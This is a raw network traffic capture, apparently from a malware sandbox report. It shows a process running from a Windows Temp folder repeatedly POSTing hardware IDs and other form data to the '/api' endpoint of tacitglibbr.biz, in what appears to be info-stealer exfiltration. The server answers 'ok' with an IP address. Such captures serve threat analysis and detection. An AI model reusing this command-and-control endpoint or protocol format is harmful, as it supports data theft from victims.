2024-12-16 14:02:20 UTC	1007	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:02:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=edn70532kar33bdd90mk1d4aat; expires=Fri, 11-Apr-2025 07:48:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JIt49pRLon8QCpefGb4sgI9k6Q5VlfSxHuRlGgM1BqXV7nr0EXfffITy7OlcGCngaAYogDKLJD2y3i3n9v322Cc5m7oZR1Uz8iwZobcR59huoxL79S9c7a4SD42%2FCu3Mv2Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f35e1fd27efa3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1786&min_rtt=1778&rtt_var=683&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2839&recv_bytes=946&delivery_rate=1581798&cwnd=113&unsent_bytes=0&cid=b16b0e86f045309c&ts=766&x=0"
2024-12-16 14:02:20 UTC	362	IN	Data Raw: 34 64 64 0d 0a 47 53 34 79 39 6f 4c 52 77 43 72 45 31 6b 4e 6b 69 6c 32 67 72 2f 6f 33 64 49 31 39 78 52 6c 58 58 59 38 47 36 6a 6a 6e 54 42 70 69 44 45 54 55 75 4f 58 73 43 4c 65 7a 59 56 37 2b 4c 39 58 4b 31 68 55 56 36 56 2f 2f 66 7a 59 78 2f 47 50 47 47 70 45 68 4f 43 4e 49 55 35 72 78 74 4f 77 49 6f 61 35 68 58 74 45 6d 67 73 71 55 46 55 36 76 47 4b 39 37 4e 6a 48 74 5a 34 46 58 6c 79 42 35 63 55 4a 56 6e 75 65 79 70 45 75 6f 75 79 59 42 37 7a 7a 4b 77 5a 4e 61 48 4f 42 66 36 54 73 79 4a 36 30 38 79 48 57 43 4f 48 74 55 54 30 47 64 6f 4b 7a 73 55 65 61 7a 4c 55 61 77 66 38 48 4b 6d 46 73 53 36 52 61 74 63 54 38 35 37 47 4b 41 53 49 34 71 63 6e 46 4d 56 70 2f 74 75 37 42 47 6f 72 77 74 42 2b 55 38 67 6f 50 59 55 67 36 76 52 2b 63 6f 42 7a 7a 38 64 5a Data Ascii: 4ddGS4y9oLRwCrE1kNkil2gr/o3dI19xRlXXY8G6jjnTBpiDETUuOXsCLezYV7+L9XK1hUV6V//fzYx/GPGGpEhOCNIU5rxtOwIoa5hXtEmgsqUFU6vGK97NjHtZ4FXlyB5cUJVnueypEuouyYB7zzKwZNaHOBf6TsyJ608yHWCOHtUT0GdoKzsUeazLUawf8HKmFsS6RatcT857GKASI4qcnFMVp/tu7BGorwtB+U8goPYUg6vR+coBzz8dZ
2024-12-16 14:02:20 UTC	890	IN	Data Raw: 2f 6f 30 79 38 43 56 56 52 76 6c 45 4b 52 37 4d 6a 58 6e 61 34 4a 65 69 43 4e 2b 65 30 77 51 32 71 43 30 75 67 6a 2b 39 41 49 44 2b 44 6a 4f 32 39 70 76 56 76 42 52 76 6a 73 79 4d 36 30 38 79 46 4b 41 4c 58 74 77 51 31 4f 63 36 36 47 69 57 71 43 35 4a 42 54 75 4f 73 7a 48 6d 30 63 63 34 52 6d 6b 63 6a 34 32 36 47 4f 4d 47 73 74 75 66 32 4d 4d 43 4e 54 42 76 71 6c 45 72 4b 4d 68 52 76 64 78 32 34 32 66 57 56 61 33 58 36 4e 36 4d 54 37 70 61 6f 5a 65 69 53 68 32 64 6b 4e 57 6e 75 43 30 71 45 43 75 74 53 77 4e 35 7a 2f 48 77 4a 78 54 47 75 34 61 35 7a 56 31 4f 50 55 6b 30 42 71 72 4b 58 74 70 44 6d 57 58 37 72 32 6c 58 75 61 72 62 78 2b 6f 4f 4d 36 4e 77 42 55 59 36 68 43 31 65 69 63 36 34 33 61 45 58 34 4d 6a 65 33 56 4d 56 5a 50 74 76 61 52 50 70 62 77 6c Data Ascii: /o0y8CVVRvlEKR7MjXna4JeiCN+e0wQ2qC0ugj+9AID+DjO29pvVvBRvjsyM608yFKALXtwQ1Oc66GiWqC5JBTuOszHm0cc4Rmkcj426GOMGstuf2MMCNTBvqlErKMhRvdx242fWVa3X6N6MT7paoZeiSh2dkNWnuC0qECutSwN5z/HwJxTGu4a5zV1OPUk0BqrKXtpDmWX7r2lXuarbx+oOM6NwBUY6hC1eic643aEX4Mje3VMVZPtvaRPpbwl
2024-12-16 14:02:20 UTC	1369	IN	Data Raw: 34 34 33 66 0d 0a 61 78 48 72 4c 77 70 42 75 55 2b 79 63 57 65 57 42 33 67 45 4b 42 7a 4e 6a 50 6f 61 59 73 61 79 32 35 2f 59 77 77 49 31 4d 57 39 6f 56 6d 33 39 68 51 46 35 6a 48 46 32 39 68 4b 57 50 5a 66 6f 48 64 31 5a 36 31 75 6a 31 32 42 49 33 4a 34 53 46 53 5a 37 37 71 72 51 62 53 2b 4c 51 6a 36 4d 73 6a 49 6c 6c 6b 54 34 42 2b 6d 65 6a 73 31 35 69 54 47 47 6f 49 32 4f 43 4d 4d 66 35 6e 77 6f 61 68 44 74 2f 59 55 42 65 59 78 78 64 76 59 53 6c 6a 32 58 36 42 33 64 57 65 74 62 34 35 57 69 53 35 2b 61 55 4a 66 68 75 71 68 70 6b 61 69 75 43 38 50 35 54 44 48 33 35 78 56 42 4f 34 61 6f 48 55 34 4c 65 67 6b 78 68 71 43 4e 6a 67 6a 44 47 71 67 35 36 4f 7a 54 2b 53 42 49 67 6a 6d 4f 4e 53 4e 68 78 73 50 72 78 69 72 4f 32 31 2f 37 6d 69 46 55 34 41 68 61 6e Data Ascii: 443faxHrLwpBuU+ycWeWB3gEKBzNjPoaYsay25/YwwI1MW9oVm39hQF5jHF29hKWPZfoHd1Z61uj12BI3J4SFSZ77qrQbS+LQj6MsjIllkT4B+mejs15iTGGoI2OCMMf5nwoahDt/YUBeYxxdvYSlj2X6B3dWetb45WiS5+aUJfhuqhpkaiuC8P5TDH35xVBO4aoHU4LegkxhqCNjgjDGqg56OzT+SBIgjmONSNhxsPrxirO21/7miFU4Ahan
2024-12-16 14:02:20 UTC	1369	IN	Data Raw: 36 71 47 6e 52 71 4b 2b 4a 41 4c 6b 4e 63 4c 49 69 6c 30 51 36 42 4f 76 66 6a 6f 35 36 47 6d 50 55 59 59 38 61 6e 68 49 58 70 69 67 2f 65 4a 50 76 76 52 35 52 73 30 6f 77 64 32 65 56 6c 62 77 55 62 34 37 4d 6a 4f 74 50 4d 68 61 69 79 4a 7a 66 45 64 62 6b 4f 53 7a 72 30 4f 6f 75 69 67 4b 34 44 50 46 33 35 56 51 48 75 55 57 6f 6e 63 34 50 50 39 6e 69 52 72 4c 62 6e 39 6a 44 41 6a 55 78 34 43 56 61 2b 61 72 62 78 2b 6f 4f 4d 36 4e 77 42 55 58 35 78 69 70 66 79 63 78 2f 32 71 50 57 6f 4d 6d 63 48 78 41 58 70 72 79 75 36 4e 49 71 4c 73 70 44 2b 77 2b 78 73 6d 55 55 6c 61 68 58 36 42 6a 64 57 65 74 54 49 74 41 6e 32 78 57 63 45 78 58 68 50 61 6f 34 6c 66 6f 72 57 45 42 35 48 2b 61 6a 5a 78 65 48 4f 59 63 72 6e 38 34 50 2b 52 72 67 56 4b 49 4a 6d 70 36 52 6b 4b Data Ascii: 6qGnRqK+JALkNcLIil0Q6BOvfjo56GmPUYY8anhIXpig/eJPvvR5Rs0owd2eVlbwUb47MjOtPMhaiyJzfEdbkOSzr0OouigK4DPF35VQHuUWonc4PP9niRrLbn9jDAjUx4CVa+arbx+oOM6NwBUX5xipfycx/2qPWoMmcHxAXpryu6NIqLspD+w+xsmUUlahX6BjdWetTItAn2xWcExXhPao4lforWEB5H+ajZxeHOYcrn84P+RrgVKIJmp6RkK
2024-12-16 14:02:20 UTC	1369	IN	Data Raw: 6b 4b 70 74 79 6b 4c 36 7a 66 51 7a 5a 56 56 42 50 30 5a 72 48 56 31 63 61 31 6a 6b 42 72 64 62 6b 6c 73 52 78 43 4c 72 71 72 69 54 36 72 30 65 55 62 72 4e 63 2f 44 69 6c 45 51 35 42 79 70 63 7a 41 33 36 57 36 46 56 59 34 6b 63 58 4e 4d 58 35 48 6f 75 4b 52 47 70 37 49 74 43 36 68 78 67 73 71 41 46 55 36 76 4f 4c 31 32 4d 79 6a 38 55 59 39 61 31 47 35 6e 4e 56 55 51 6b 2b 7a 7a 2b 67 69 72 75 43 73 4c 37 54 76 4b 79 70 74 55 47 75 73 53 71 6e 38 38 4f 2b 68 32 6d 6c 79 4c 4c 6e 64 31 51 31 79 47 37 72 61 69 52 4f 62 36 59 51 48 77 66 35 71 4e 71 55 49 57 72 77 44 70 59 6e 55 34 34 53 54 51 47 6f 6f 6a 61 6e 64 44 55 4a 58 6a 74 36 6c 50 6f 4c 49 67 42 65 30 38 78 38 75 5a 56 52 72 6c 47 4b 39 78 4f 7a 4c 72 59 49 35 63 78 57 41 34 66 46 51 51 7a 4b 43 42 Data Ascii: kKptykL6zfQzZVVBP0ZrHV1ca1jkBrdbklsRxCLrqriT6r0eUbrNc/DilEQ5BypczA36W6FVY4kcXNMX5HouKRGp7ItC6hxgsqAFU6vOL12Myj8UY9a1G5nNVUQk+zz+giruCsL7TvKyptUGusSqn88O+h2mlyLLnd1Q1yG7raiROb6YQHwf5qNqUIWrwDpYnU44STQGoojandDUJXjt6lPoLIgBe08x8uZVRrlGK9xOzLrYI5cxWA4fFQQzKCB
2024-12-16 14:02:20 UTC	1369	IN	Data Raw: 4d 68 43 75 63 34 79 73 4b 63 56 52 6d 76 55 65 64 38 4c 58 2b 31 4a 4b 68 52 6b 77 39 32 63 46 34 51 69 36 36 71 34 6b 2b 71 39 48 6c 47 35 6a 62 44 78 5a 5a 5a 48 75 73 4e 70 33 41 38 4d 4f 78 72 69 46 6d 45 4a 48 42 70 53 6c 43 66 36 4c 53 71 54 4b 69 6d 49 41 6d 6f 63 59 4c 4b 67 42 56 4f 72 79 36 78 66 44 49 77 72 30 32 50 51 59 51 6b 65 33 42 41 45 49 75 75 71 75 4a 50 71 76 52 35 52 75 55 7a 7a 38 6d 4b 57 52 62 76 46 71 42 78 4a 7a 44 69 61 59 74 61 67 44 78 35 61 55 4e 62 6b 65 4f 33 72 55 65 71 76 43 74 47 70 6e 2f 46 31 64 67 4e 56 73 4d 63 74 6e 46 33 47 50 64 79 6a 31 61 55 4a 58 56 33 44 45 2f 61 2b 66 4f 6c 52 4f 62 73 59 51 62 70 4d 74 44 49 6d 56 38 63 34 68 65 6f 66 6a 41 77 36 57 43 44 56 4a 63 67 64 33 74 4b 57 35 58 6c 73 4b 6c 43 71 Data Ascii: MhCuc4ysKcVRmvUed8LX+1JKhRkw92cF4Qi66q4k+q9HlG5jbDxZZZHusNp3A8MOxriFmEJHBpSlCf6LSqTKimIAmocYLKgBVOry6xfDIwr02PQYQke3BAEIuuquJPqvR5RuUzz8mKWRbvFqBxJzDiaYtagDx5aUNbkeO3rUeqvCtGpn/F1dgNVsMctnF3GPdyj1aUJXV3DE/a+fOlRObsYQbpMtDImV8c4heofjAw6WCDVJcgd3tKW5XlsKlCq
2024-12-16 14:02:20 UTC	1369	IN	Data Raw: 73 4e 73 66 46 6d 31 41 54 35 52 4f 72 65 6a 30 32 35 32 47 4e 58 49 38 74 64 6e 52 4e 58 4a 44 70 76 61 73 49 36 50 51 6d 48 71 68 6e 67 76 75 49 55 67 37 69 44 2b 56 4a 4e 69 37 38 63 59 56 4b 67 32 78 58 65 45 42 54 6b 65 65 6a 34 6c 66 6f 72 57 45 42 35 48 2b 61 6a 5a 68 52 47 75 77 59 71 58 51 34 4d 4f 70 76 68 31 43 4c 50 48 64 2b 52 46 79 63 37 61 47 6f 51 72 53 39 4b 41 76 6d 4e 39 44 4f 32 42 74 57 36 41 66 6e 49 33 55 4e 35 32 65 45 54 49 67 68 4f 47 51 43 53 64 54 6e 76 2b 49 51 35 71 59 7a 42 75 4d 2f 78 63 4f 4b 56 42 37 67 46 61 64 39 50 6a 58 75 62 59 78 55 6a 43 68 35 64 6b 31 52 6c 4f 57 7a 71 31 71 72 39 47 39 47 37 79 65 43 6c 64 68 69 47 75 51 75 70 47 31 31 49 4b 4e 39 79 46 32 4a 62 69 41 37 54 55 4b 5a 36 4c 65 69 52 61 43 2f 49 41 Data Ascii: sNsfFm1AT5ROrej0252GNXI8tdnRNXJDpvasI6PQmHqhngvuIUg7iD+VJNi78cYVKg2xXeEBTkeej4lforWEB5H+ajZhRGuwYqXQ4MOpvh1CLPHd+RFyc7aGoQrS9KAvmN9DO2BtW6AfnI3UN52eETIghOGQCSdTnv+IQ5qYzBuM/xcOKVB7gFad9PjXubYxUjCh5dk1RlOWzq1qr9G9G7yeCldhiGuQupG11IKN9yF2JbiA7TUKZ6LeiRaC/IA
2024-12-16 14:02:20 UTC	1369	IN	Data Raw: 6a 59 6f 56 54 71 39 59 70 47 6b 6e 4f 65 35 79 69 78 32 37 45 46 68 77 57 6c 47 5a 36 37 2b 63 64 72 4f 33 4c 77 6a 76 4b 64 4f 4e 31 68 55 5a 72 30 65 65 4f 33 31 2f 30 69 72 49 51 73 56 32 4f 45 35 50 58 70 72 6e 70 62 4d 46 68 72 38 33 42 2b 55 30 7a 6f 2b 5a 57 41 62 6f 58 2b 6b 37 4d 33 2b 31 4e 4d 59 61 67 54 38 34 49 78 77 43 7a 37 58 67 39 52 6a 30 71 32 38 66 71 43 6d 43 6c 63 6f 62 56 76 31 66 2f 7a 74 79 50 50 39 32 6a 6c 6d 54 4c 54 39 46 63 6e 43 66 37 4c 43 75 53 61 48 30 62 30 62 6e 66 35 72 30 32 46 59 45 2f 56 43 32 62 54 67 76 36 69 69 41 53 34 67 69 4f 44 55 4d 48 4a 44 72 76 36 64 50 74 76 73 7a 46 75 4d 7a 31 49 47 63 52 31 61 68 58 37 5a 77 4f 69 33 6a 59 38 64 4c 6b 79 4e 6f 65 45 6c 58 32 4f 69 69 72 30 54 6d 2b 6d 45 54 34 7a 50 Data Ascii: jYoVTq9YpGknOe5yix27EFhwWlGZ67+cdrO3LwjvKdON1hUZr0eeO31/0irIQsV2OE5PXprnpbMFhr83B+U0zo+ZWAboX+k7M3+1NMYagT84IxwCz7Xg9Rj0q28fqCmClcobVv1f/ztyPP92jlmTLT9FcnCf7LCuSaH0b0bnf5r02FYE/VC2bTgv6iiAS4giODUMHJDrv6dPtvszFuMz1IGcR1ahX7ZwOi3jY8dLkyNoeElX2Oiir0Tm+mET4zP
2024-12-16 14:02:20 UTC	1369	IN	Data Raw: 78 47 6a 56 2b 74 71 4a 6a 48 6d 63 6f 38 61 75 6d 41 34 59 77 77 49 31 4e 57 77 72 45 61 68 6f 6a 42 4c 7a 6a 7a 46 79 35 74 62 41 66 35 66 36 54 73 7a 66 37 55 32 78 68 71 42 50 7a 67 6a 48 41 4c 50 74 65 44 31 47 50 53 72 62 78 2b 6f 4b 59 4b 56 79 78 74 57 2f 56 2f 2f 4f 33 49 78 34 47 57 4c 56 49 59 38 61 6e 31 50 52 70 65 6e 6a 5a 78 74 71 37 6b 6b 43 4f 38 42 2f 4f 79 53 52 52 76 67 47 4a 6c 46 41 69 37 71 64 4d 70 38 68 6a 68 37 4f 77 49 51 6a 4b 44 72 34 6d 6d 73 70 43 77 4a 37 33 2b 4d 6a 5a 77 56 54 71 38 36 71 6e 59 77 4d 65 6f 6d 71 56 43 56 49 33 64 38 44 42 37 55 37 50 50 36 43 4b 65 2b 4d 51 76 6e 4f 49 37 4b 67 6c 4a 57 6f 56 2b 70 4f 32 31 2f 37 47 36 59 56 34 6f 70 4e 48 31 43 58 74 54 2f 2f 62 73 49 73 50 52 35 56 61 5a 2f 30 49 33 41 Data Ascii: xGjV+tqJjHmco8aumA4YwwI1NWwrEahojBLzjzFy5tbAf5f6Tszf7U2xhqBPzgjHALPteD1GPSrbx+oKYKVyxtW/V//O3Ix4GWLVIY8an1PRpenjZxtq7kkCO8B/OySRRvgGJlFAi7qdMp8hjh7OwIQjKDr4mmspCwJ73+MjZwVTq86qnYwMeomqVCVI3d8DB7U7PP6CKe+MQvnOI7KglJWoV+pO21/7G6YV4opNH1CXtT//bsIsPR5VaZ/0I3A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49901	104.21.50.161	443	5036	C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:02:22 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=YVSNBMC9L User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12805 Host: tacitglibbr.biz
2024-12-16 14:02:22 UTC	12805	OUT	Data Raw: 2d 2d 59 56 53 4e 42 4d 43 39 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 45 31 39 44 31 37 36 34 44 46 34 44 34 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 59 56 53 4e 42 4d 43 39 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 59 56 53 4e 42 4d 43 39 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 59 56 53 4e 42 4d 43 39 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 Data Ascii: --YVSNBMC9LContent-Disposition: form-data; name="hwid"CCE19D1764DF4D48AC8923850305D13E--YVSNBMC9LContent-Disposition: form-data; name="pid"2--YVSNBMC9LContent-Disposition: form-data; name="lid"PsFKDg--pablo--YVSNBMC9LContent-Disp
2024-12-16 14:02:24 UTC	1010	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:02:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=g9352p2ndmvodv0p09ou4d1u9i; expires=Fri, 11-Apr-2025 07:49:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=drmQ619njpQv2PQeMf3tqtJqaVA94IlG3oM3nM1uTQMOnzn15pt9wijUMllSQD3g8LIlk8VadnBBeFPMEkLAL0Exc0OZhT4AiAv6ByVryzbgysPhtIs3Ompk9T7ujvSpCGA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f35f10dbff791-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1488&min_rtt=1487&rtt_var=561&sent=12&recv=19&lost=0&retrans=0&sent_bytes=2838&recv_bytes=13735&delivery_rate=1944074&cwnd=135&unsent_bytes=0&cid=95ff6aa67368754a&ts=2071&x=0"
2024-12-16 14:02:24 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 14:02:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49910	104.21.50.161	443	5036	C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:02:25 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=MES5JNTN User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15045 Host: tacitglibbr.biz
2024-12-16 14:02:25 UTC	15045	OUT	Data Raw: 2d 2d 4d 45 53 35 4a 4e 54 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 45 31 39 44 31 37 36 34 44 46 34 44 34 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4d 45 53 35 4a 4e 54 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4d 45 53 35 4a 4e 54 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 4d 45 53 35 4a 4e 54 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 Data Ascii: --MES5JNTNContent-Disposition: form-data; name="hwid"CCE19D1764DF4D48AC8923850305D13E--MES5JNTNContent-Disposition: form-data; name="pid"2--MES5JNTNContent-Disposition: form-data; name="lid"PsFKDg--pablo--MES5JNTNContent-Disposit
2024-12-16 14:02:26 UTC	1011	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:02:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=is2iku5njbqv8382n22ojaqnpq; expires=Fri, 11-Apr-2025 07:49:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LPWR0quifWRk2WUEe6Yqshn3rR8CgmG2z4WCfemoQUtkSy7CyeieL%2FjHdJPvcAHPDDmwPR7nGj3Ys93JoRBzXmBtC3IoOB1yOgalOR9OohnsYZecZ3pebHIRqBymR9pcqsw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f36065cd29e04-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1804&min_rtt=1796&rtt_var=690&sent=11&recv=21&lost=0&retrans=0&sent_bytes=2839&recv_bytes=15974&delivery_rate=1566523&cwnd=236&unsent_bytes=0&cid=4456422ede19c117&ts=802&x=0"
2024-12-16 14:02:26 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 14:02:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49919	104.21.50.161	443	5036	C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:02:27 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=3IAOPUEK46 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19915 Host: tacitglibbr.biz
2024-12-16 14:02:27 UTC	15331	OUT	Data Raw: 2d 2d 33 49 41 4f 50 55 45 4b 34 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 45 31 39 44 31 37 36 34 44 46 34 44 34 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 33 49 41 4f 50 55 45 4b 34 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 33 49 41 4f 50 55 45 4b 34 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 33 49 41 4f 50 55 45 4b 34 36 0d 0a 43 6f 6e 74 65 6e 74 2d Data Ascii: --3IAOPUEK46Content-Disposition: form-data; name="hwid"CCE19D1764DF4D48AC8923850305D13E--3IAOPUEK46Content-Disposition: form-data; name="pid"3--3IAOPUEK46Content-Disposition: form-data; name="lid"PsFKDg--pablo--3IAOPUEK46Content-
2024-12-16 14:02:27 UTC	4584	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 de f8 f4 8d d8 f5 6f 86 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bf Data Ascii: 2+?2+?o?Mp5p_oI
2024-12-16 14:02:28 UTC	1020	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:02:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sp12urlti3iqug79sesv5cd5ru; expires=Fri, 11-Apr-2025 07:49:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QYDHy90KSp8kkB530brhYB4s0EDKN3uPaTDv8ZSAbx4K48wBbM9VdOK1nNX5Ly5qQzDH5SH8kejQ%2FRWgWGgq%2FBPnc3pfxHlW%2FRNr4eA9cUp94WSJp6i%2BJv%2BLxRTG%2FAQ2uPQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f3614ef6d41ed-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1630&min_rtt=1630&rtt_var=815&sent=11&recv=25&lost=0&retrans=1&sent_bytes=4216&recv_bytes=20868&delivery_rate=216296&cwnd=211&unsent_bytes=0&cid=789bbba61429e1dc&ts=908&x=0"
2024-12-16 14:02:28 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 14:02:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49926	104.21.50.161	443	5036	C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:02:30 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=1RLZO3HBNG User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1197 Host: tacitglibbr.biz
